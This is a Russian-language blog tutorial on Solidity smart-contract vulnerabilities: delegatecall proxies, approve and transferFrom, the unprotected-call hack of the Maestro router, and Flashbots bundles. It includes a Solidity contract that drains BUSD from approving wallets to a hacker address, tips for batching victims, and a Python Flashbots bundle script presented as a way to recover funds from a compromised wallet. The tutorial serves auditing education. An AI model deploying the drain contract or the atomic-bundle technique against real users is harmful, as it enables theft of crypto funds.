December 18, 2023

  Solidity Hacker: level 1

Всем привет! Это вторая часть про уязвимости в Солидити, которая сделает тебя еще на шаг ближе к профессии хакера аудитора. Летсго собссна.

С вами Matapac и крутейший солидити мэн Danoneo (обязательно, подпишись. После НГ там будет мясо). Мы решили сделать совместную работу, чтобы эта статья вышла быстрее.

Эта статья имеет Level 1 и перед ее прочтением тебе нужно срочно прочитать Solididty Hacker: Level 0 для того, чтобы почувствовать вкус взломов и получить некий багаж знаний.

Добро пожаловать, дорогой читатель!

О чем эта статья?

Я точно рекомендую тебе прочитать эту статью полность вне зависимости от твоего знания в коде. Как минимум, ты узнаешь много нового про свои любимые проекты, а как максимум откроешь Remix и пощупаешь все это сам получив первые эмоции от своих тестнетовских выносов.

Кстати, здесь не так уж и много кода, как в прошлой статье, поэтому читать тебе будет проще.

Если у тебя уже есть опыт в коде, то это вообще замечательно. Ибо сегодня ты сможешь прям углубиться в последний тренд взломов и нетипичных способов их воплощать. Здесь правда много интересной информации.

Ну и конечно спасибо GuideDAO (промокод на 10% "IZIDAO"). Если бы не было их, то и не было бы этой статьи. Лучшая web3 школа, где я наконец-то смог начать осваивать код

Содержание

1. Низкоуровневые вызовы и как они работают? 2. Как работает функция approve? 3. Прокси контракты - ловушка дьявола. 4. Как воруют миллионы с помощью .call? 5. Техника грамотных хакеров aka flashbots 6. Рабочий код флэшбота от Danoneo

Перед тем, как мы перейдем к нырянию в океан хакинга нам нужно сделать шаг на встречу к Solidity advansed. Короче говоря, мы должны разобраться с более сложными штуками, нежели совсем база по Солидити. Поэтому, крайне рекомендую прочитать главу ниже.

Низкоуровневые вызовы и как они работают?


По идее, низкоуровневые вызовы в Солидити применяются практически повсеместно. Все потому, что они отлично работают и иногда без них практически невозможно.

Эти вызовы нужны для того, чтобы обращаться к другим контрактам без использования интерфейса и abi. Например, в блокчейне есть какой-то контракт и мы хотим обратиться к его функции/функциям. Чтобы не изобретать велосипед и не хардкодить мы просто можем воспользоваться низкоуровневым вызовом.

Сейчас мы коснемся только двух таких вызовов.

.call - если ты напишешь свой смартконтракт и обратишься к функции из другого контракта, то она выполнится в контексте контракта откуда ты эту функцию дергаешь.

contract Called {
  event callEvent(address sender, address origin, address from);
  function callMe() public {
    emit callEvent(msg.sender, tx.origin, address(this));
  }
}

contract Caller {
  function makeCalls(address _contractAddress) public {   
    address(_contractAddress).call(abi.encodeWithSignature("callMe()"));
  
  }
}

Вот что мы получим здесь:

  1. sender — это контракт Caller.
  2. origin — это учетная запись, отправившая транзакцию на выполнение Caller.makeCalls.
  3. from — это контракт Called.

.delegatecall - если же ты сделаешь тоже самое, то теперь функция выполнится в контексте уже твоего контракта.

contract Called {
  event callEvent(address sender, address origin, address from);
  function callMe() public {
    emit callEvent(msg.sender, tx.origin, address(this));
  }
}

contract Caller {
  function makeCalls(address _contractAddress) public {   
    address(_contractAddress).delegatecall(abi.encodeWithSignature("callMe()"));
  }
}

А вот что мы получим здесь:

  1. senderэто ЕОА!
  2. originтакже является EOA!
  3. from — это контракт Caller вместо Called (контракт, который фактически генерирует событие).

1. Как работает функция approve?

Для начала давайте разберем БАЗУ. Функция approve - неотъемлемая часть стандарта ERC-20, то есть любой нормальный токен обладает этой функцией.

Как видно на скрине - функция принимает два аргумента: spender и value.

Spender - это адрес, который сможет переводить токены с ВАШЕГО баланса куда захочет. Именно на этой функции держится весь DeFi - вы разрешаете контракту использовать ваши средства, и именно так работает 1инч, юнисвап и бриджи.
Spender не обязательно должен быть контрактом - вы можете дать approve на любой EOA адрес.

Value - это количество токенов, которое контракт может перевести с вашего адреса. Обычно люди не парятся и сразу дают "infinite allowance". Грубо говоря - approve на бесконечную сумму. Грубо, потому что в solidity не существует бесконечности - максимальное число, которое можно указать - это 2 в 256 степени, ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff в байтах, а в виде числа:

115792089237316195423570985008687907853269984665640564039457584007913129639935

Адрес, которому вы выдали approve, может использовать transferFrom чтобы перевести токены с ВАШЕГО кошелька на любой другой:

И это главная опасность в DeFi. Не поняли почему? Читаем дальше.

2. Прокси контракты - ловушка дьявола

Что такое прокси контракты? Это контракты-прослойки, которые позволяют отделить хранилище данных основного контракта от его логики. Логику эти контракты тянут из имплементации с помощью DELEGATECALL.

Так в чём же опасность?

Существует ОГРОМНОЕ количество прокси-контрактов, которые имеют десятки/сотни тысяч апрувов. А это значит что в любой момент их владельцы могут сменить имплементацию (логику) контракта на ту, которая вызывает transferFrom.

Я распарсил ВСЕ транзакции из основных сетей, затем оставил только approve транзакции. Из них я собрал гига-базу со всеми адресами и их балансами и allowance в токенах, а также контрактами, на которые они дали approve.

Затем незамысловатым скриптом прошелся по опкодам, оставив только контракты с функцией .delegatecall.

Количество потенциальных рагов повергло меня в шок.
К примеру, вот контракт старой пирамиды Forsage:

https://bscscan.com/address/0x5acc84a3e955Bdd76467d3348077d003f00fFB97

Для того, чтобы участвовать - нужно дать контракту approve на трату BUSD.

Что это значит? Это значит что владелец контракта в любой момент может собрать BUSDы с сотен тысяч кошельков.

Для этого ему достаточно вызвать функцию update, указав в качестве имплементации контракт с функцией transferFrom. После чего он может украсть миллионы одной транзакцией:

Код новой имплементации может выглядеть так:

pragma solidity ^0.8.0;

 interface IERC20 {
  function transferFrom(address from, address to, uint256 value) external;
   }
   
     contract ATAKA {
      address HACKER = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;
      address BUSD_CONTRACT = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;

      function razebalovo(address jertva, uint256 value) public {
       require(tx.origin == HACKER, "Разрешено только хакеру.");
       IERC20(BUSD_CONTRACT).transferFrom(jertva, HACKER, value);
        }
    }

Естественно, это максимально упрощенный пример. Давайте разберем что делает функция razebalovo:

require(tx.origin == HACKER) - аналог onlyOwner, позволяет вызывать эту функцию ТОЛЬКО с адреса хакера, чтобы никто другой не мог повторить эксплойт.

IERC20(BUSD_CONTRACT).transferFrom(jertva, HACKER, value) - функция, которая вызывает transferFrom токена BUSD с адреса жертвы на адрес хакера. Value - количество токенов (можно автоматизировать добавив вызов balanceOf).

После того как овнер поменял имплементацию на контракт с таким кодом - он может вызвать razebalovo чтобы украсть BUSD с любого апрувера.

Можно переписать функцию, чтобы она принимала массив адресов, и проходилась по ним в цикле. Тогда можно будет "обчистить" сотни адресов ОДНОЙ транзакцией. Например как тут.

А самое страшное - овнер-хакер может сделать это всё в одном блоке, вы даже не успеете ничего предпринять. Но об этом позже.

Сейчас же поговорим о функции CALL - и как с её помощью выносят $ млн.

3. Как воруют миллионы используя .call

Принцип атаки на аппруверов практически такой же как в примере с DELEGATECALL, но с одним отличием.

С помощью незащищенного .call ЛЮБОЙ адрес может ограбить апруверов.
Не только owner контракта. Кто угодно. Даже вы.

С помощью этой уязвимости (unprotected call) было совершено ОЧЕНЬ много злодеяний. Примеры можно глянуть здесь: https://revoke.cash/exploits

Рассмотрим на примере недавнего хака Maestro (похищено ~280 ETH):

Кто не знает, Maestro - это телеграм-бот для снайпинга щитков. Все покупки/продажи происходят через их роутер (чтобы брать комиссию с пользователей).

Соответственно, пользователь должен дать approve этому контракту-роутеру.

Злоумышленник использовал незащищенный .call в роутере, и угнал кучу токенов с пользователей бота:

Вообще, .call на внешние контракты встречается повсеместно. Это нужно для того, чтобы контракт мог взаимодействовать с другими контрактами, делать трансферы/свапы и т.д.

Но как правило эти .call защищены - обычно ограничен список адресов, на которые можно делать вызов, либо список функций, которые можно вызывать.

В случае с Maestro никакой защиты не было. Можно было подставить любой адрес, и отправить на него любую коллдату. Единственное препятствие - код контракта не верифнут на etherscan, поэтому контракт нужно было декомпилировать.

Лично мы вам советуем этот декомпилятор: https://library.dedaub.com/decompile

После декомпиляции 0x80a64c6d7f12c47b7c66c5b4e20e72bc1fcd5d9e хакер обнаружил вот такую функцию:

Исходя из контекста:
varg0 - контракт, на который будет сделан вызов. Туда злодей подставлял контракты токенов, которые хотел похитить.

varg1 - коллдата, которую исполнит вызываемый контракт. Туда нужно было передать коллдату transferFrom токенов с адреса жертвы на свой.

varg2 - miner tip (взятка майнеру, чтобы попасть в блок раньше остальных).

varg3 - абсолютно плевать.

Подробнее про varg1 и коллдату:

Коллдата - это байтовое представление функции. То есть знакомая вам из 1 главы функция transferFrom в "очеловеченном" виде выглядит так:

А в байтовом представлении так:

Обратите внимание на селектор функции 0x23b872dd - это первые 4 байта (или первые 8 символов после 0x) в коллдате.

0x23b872dd - селектор функции transferFrom. Он получается из первых 8 символов keccak-256 хэша от названия функции и переменных, которые она принимает. То есть хэш от transferFrom(address,address,uint256).

Можете убедиться здесь: https://emn178.github.io/online-tools/keccak_256.html

Теперь, надеюсь, с коллдатой вам стало все понятней. Двигаемся дальше.

4. Техника грамотных хакеров


Много раз вы слышали про flashbots и много раз было упомянуто, что именно хакеры на каждом шагу используют этих ботов. Но как? Зачем? Почему? Сейчас ты все узнаешь!

Если кто то до сих пор не знает что это - объясняем:


Флешботы - это ребята, которые немного модифицировали стандартный geth клиент и внедрили туда mev-boost. Эта штука позволяет валидаторам менять порядок транзакций в блоке для извлечения максимальной выгоды для себя.

На данный момент практически все валидаторы в мейннете используют модифицированные клиенты с mev-boost. Также альтернатива флешботам есть и в BSC, но об этом может быть в другой раз.

Но что это даёт пользователям сети?

Теперь любой пользователь может отправить приватную транзакцию, минуя публичный мемпул. Но что еще круче - он может отправить бандл из нескольких транзакций. В том числе на условиях того, что либо ВСЕ транзакции из бандла будут гарантированно включены блок, либо НИ ОДНОЙ. Это защищает от фейлов и непредсказуемых результатов. Идеальный инструмент для хакеров!

Примеры использования флешботов:

1. Вывод активов со скомпрометированных кошельков.

Представьте что вы проебали приватный ключ от своего кошелька. Теперь его захватил свипер, который моментально крадёт всю нативку, которая поступает на баланс. Вы не можете его обойти в честной борьбе - он готов сжигать до 100% от поступившей суммы на газ.

А у вас там нфтшки, стейкинги, ДРОПЫ...

Так что же делать? Правильно, использовать флешбот бандл.К примеру вы хотите достать кейки в бск сети из стейкинга и перевести на безопасный адрес. Делаем бандл с нужной логикой:

tx1 = перевод BNB на похищенный кошелек для оплаты газа
tx2 = вывод всех CAKE со стейкинга
tx3 = перевод всех CAKE на безопасный адрес

Обратите внимание - все три транзакции находятся в одном блоке. Вы НЕ СМОЖЕТЕ отправить такой бандл в публичный мемпул - стандартная geth нода не даст вам отправить транзакции с адреса без баланса.

Этой техникой активно пользуются дрейнеры и фишеры, чтобы в одном блоке красть у жертвы всё, не давая ей шансов среагировать и спастись.

2. Симуляция атаки и гарантия что её не перехватят.

При планировании атаки хакеры могут симулировать сложную цепочку из транзакций, чтобы убедиться что всё сработает.

Например, хакер получил приватник от прокси-овнера, и хочет украсть деньги у всех аппруверов.

Чтобы сделать это максимально эффективно - он может сделать флешбот бандл из всех транзакций, уместив всю грязь в одном блоке.

В таком случае НИКТО не сможет спастись - атаку можно будет увидеть лишь ретроспективно, после того как блок будет подписан. Но увы, будет слишком поздно.

Вот пример такой атаки:

tx1 = деплой имплементации с логикой атаки
tx2 = вызов upgradeTo на контракте прокси
tx... = вызов всех остальных необходимых для атаки функций

Кстати, тут есть интересный момент. Чтобы использовать upgradeTo - хакеру нужно знать, по какому адресу будет располагаться его контракт после деплоя. Но как его узнать?

На самом деле в блокчейне нет никакого рандома. Адрес контракта детерминированно вычисляется из адреса его создателя и количества транзакций, отправленных создателем (nonce). Отправитель и nonce кодируются RLP, а затем хешируются с помощью Keccak-256.

Вот так можно вычислить адрес контракта с помощью python:

contract_address = sha3(rlp.encode([normalize_address(sender), nonce]))[12:]

"Эй, вы тут красиво лечите про флэшботы. А слабо самим показать рабочий пример?" - подумаете вы. А мы ответим, что не слабо.
Danoneo (обязательно подписку) подготовил для вас отличный рабочий вариант на питоне, который позволит спасти ваши USDT с кошелька со свипером

from web3 import Web3, HTTPProvider
from web3.types import TxParams, Wei
from time import sleep

import json
import time
import requests

rpc_url = "https://rpc.ankr.com/eth"
flashbots_url = "https://relay.flashbots.net"
web3 = Web3(Web3.HTTPProvider(rpc_url))
w3 = web3

flashbots_private_key = '0x0000000000000000000000000000000000000000000000000000000000000120'

# ЗДЕСЬ УКАЗЫВАЕМ АДРЕСА И ПРИВАТНИКИ

main_account = web3.to_checksum_address('0x...') private_key = 'приватник от адреса с нативкой'

compromissed_account = web3.to_checksum_address('0x...')
compromissed_pkey = 'приватник от скомпрометированного адреса'

TOKEN_address = web3.to_checksum_address("0xdac17f958d2ee523a2206206994597c13d831ec7") #АДРЕС USDT
TOKEN_abi = json.loads('[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}]')
TOKEN_contract = w3.eth.contract(address=TOKEN_address, abi=TOKEN_abi)

# ФУНКЦИЯ ДЛЯ ЗАПРОСОВ

def make_response(body):

    body = json.dumps(body)    
    message = messages.encode_defunct(text=Web3.keccak(text=body).hex())    
    signature = (Account.from_key(flashbots_private_key).address) + ':' + Account.sign_message(message, flashbots_private_key).signature.hex()    
    headers = {"Content-Type": "application/json", "X-Flashbots-Signature": signature}    
    response = requests.post(flashbots_url, headers=headers, data=body)    return response

while True:

    # РАССЧИТЫВАЕМ ГАЗ
    
    pending_block = web3.eth.get_block(block_identifier='latest', full_transactions=True)    
    pending_transactions = pending_block['transactions']    
    block_number = pending_block['number']

    print (block_number)
    
    print (pending_block['baseFeePerGas'])
    
    base_fee = pending_block['baseFeePerGas']    
    max_priority_fee = 5    
    max_priority_fee = web3.to_wei(max_priority_fee, 'gwei')
    
    #=========================================================
    
    # СОБИРАЕМ ТРАНЗАКЦИИ КОТОРЫЕ БУДЕМ ЗАСЫЛАТЬ БАНДЛОМ
    
    nonce = web3.eth.get_transaction_count(main_account)    
    comp_nonce = web3.eth.get_transaction_count(compromissed_account)
    
    USDT_balance = TOKEN_contract.functions.balanceOf(compromissed_account).call()
    
    tx1 = { #транзакция спонсора, чтобы второй кошелек мог оплатить газ        
    'chainId': 1,        
    'type': 2,        
    'nonce': nonce,        
    'from': main_account,        
    'value': 50000*(base_fee+max_priority_fee),        
    'to': compromissed_account,        
    'gas': 21000,        
    'maxFeePerGas': base_fee+max_priority_fee,        
    'maxPriorityFeePerGas': max_priority_fee    
    }
    
    tx2 = TOKEN_contract.functions.transfer(main_account, USDT_balance).build_transaction({ #перевод USDT на основной кошелек        
    'chainId': 1,        
    'type': 2,        
    'nonce': comp_nonce,        
    'from': web3.to_checksum_address(compromissed_account),        
    'gas': 50000,        
    'maxFeePerGas': base_fee+max_priority_fee,        
    'maxPriorityFeePerGas': max_priority_fee    
    })
    
    signed_tx1 = web3.eth.account.sign_transaction(tx1, private_key)    
    raw_tx1 = signed_tx1.rawTransaction
    
    signed_tx2 = web3.eth.account.sign_transaction(tx2, compromissed_pkey)    
    raw_tx2 = signed_tx2.rawTransaction
    
    #========================================================
    
    # ЗАПРОС НА СИМУЛЯЦИЮ БАНДЛА 
    
    params = [{"txs":[str(web3.to_hex(raw_tx1)),str(web3.to_hex(raw_tx2))],"blockNumber":str(web3.to_hex(block_number+1)),"stateBlockNumber":"latest"}] 
    
    body = {"jsonrpc":"2.0","id":1,"method":"eth_callBundle","params": params}    
    response = make_response(body)
    
    # ЗАПРОС НА ОТПРАВКУ БАНДЛА В СЕТЬ
    
    params = [{"txs":[str(web3.to_hex(raw_tx1)),str(web3.to_hex(raw_tx2))],"blockNumber":str(web3.to_hex(block_number+1))}] 
    body = {"jsonrpc":"2.0","id":1,"method":"eth_sendBundle","params": params}    
    response = make_response(body)
    print("Bundle sent:")    
    print(response)    
    print("")    
    print(response['result'])    
    response = response['result']    
    bundle_hash = response['bundleHash']    
    print(bundle_hash)
    
    # ЗАПРОС НА ПОЛУЧЕНИЕ СТАТУСА БАНДЛА
    
    params = [{"bundleHash":str(bundle_hash),"blockNumber":str(web3.to_hex(block_number+1))}] 
    body = {"jsonrpc":"2.0","id":1,"method":"flashbots_getBundleStatsV2","params": params}    
    response = make_response(body)
    
    print("Bundle STATUS:")    
    print(response.json())    
    print("")    
    print("Block NUMBER:")    
    print(block_number)


Заключение!

Вот и подошла к концу уже вторая из серии статьей на тему уязвимостей смарт контрактов. Впереди вас ждут новые части, где с каждым разом мы будем нырять все глубже и глубже. Пока не преисполнимся и не объединимся в сильное аудиторское агентство, хех

Во-первых, нужно перечитывать эту статью неоднократно, если тебе что-то вдруг непонятно. Не бойся гуглить, потому что это лучший навык, а также обязательно применяй этот код в Remix и экспериментируй с ним

Во-вторых, подпишись на наши каналы

Matapac
Danoneo

В-третьих, спасибо GuideDAO (промокод на 10% "IZIDAO"). Если бы не было их, то и не было бы этой статьи. Лучшая web3 школа, где я наконец-то смог начать осваивать код

Скоро увидимся!